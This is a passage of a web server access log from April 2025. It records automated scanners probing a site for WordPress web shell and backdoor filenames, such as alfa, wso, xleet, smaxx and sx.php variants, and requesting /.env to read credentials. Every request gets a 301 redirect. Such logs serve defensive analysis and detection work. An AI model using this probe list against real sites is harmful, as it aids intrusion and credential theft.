"-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:59 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:59 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:59 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:00 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:00 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:00 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:00 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:01 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:01 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:01 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:02 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:02 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:02 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:03 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:03 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:04 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:04 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:05 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:05 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:05 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:06 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:06 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:08 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:09 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:09 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:10 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:11 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:11 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:12 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:12 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:13 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:13 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:14 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:14 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:14 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:15 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:16 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:17 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:18 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:19 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:19 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:20 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:20 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:21 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:21 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:22 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:22 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:23 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:23 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:26 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:28 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:29 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:30 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:30 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:31 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:32 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:32 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:35 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:36 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:36 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:36 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:37 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:37 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:37 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:38 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:39 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:39 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:40 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:40 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:41 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:41 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:41 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:41 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:42 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:42 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:50:42 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 205.169.39.24 - - [15/Apr/2025:20:26:41 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" 146.70.202.36 - - [15/Apr/2025:20:28:10 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 40.85.180.67 - - [15/Apr/2025:20:31:51 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:31:52 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:31:53 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:31:53 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:31:53 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:31:54 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:31:54 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:31:55 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:31:55 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:31:56 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:31:57 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:31:59 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:31:59 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:00 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:00 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:01 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:01 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:02 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:03 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:04 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:04 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:04 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:05 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:06 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:07 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:07 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:09 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:09 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:10 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:10 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:11 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:12 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:13 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:14 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:14 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:14 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:15 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:16 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:17 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:17 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:18 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:18 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:18 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:19 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:19 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:20 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:20 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:21 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:21 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:22 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:22 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:23 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:23 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:24 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:24 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:25 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:25 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:26 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:26 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:27 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:27 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:28 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:29 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:30 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:31 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:32 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:32 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:33 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:34 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:35 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:35 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:35 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:36 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:37 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:38 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:38 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:38 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:39 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:40 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:41 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:41 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:42 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:42 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:43 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:43 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:44 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:45 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:45 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:46 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:47 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:47 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:48 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:50 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:50 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:51 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:51 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:52 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:53 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:54 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:55 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:56 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:57 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:58 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:58 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:32:59 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:00 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:01 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:02 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:03 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:04 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:04 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:05 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:07 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:08 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:09 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:10 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:11 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:12 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:13 -0400] "GET /wp-content/themes/twentyfive/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:13 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:14 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:14 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:15 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:15 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:16 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:17 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:18 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:22 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:23 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:24 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:25 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:26 -0400] "GET /wp-includes/block-supports/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:28 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:29 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:30 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:30 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:31 -0400] "GET /wp-content/plugins/elementor/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:31 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:32 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:35 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:35 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:36 -0400] "GET 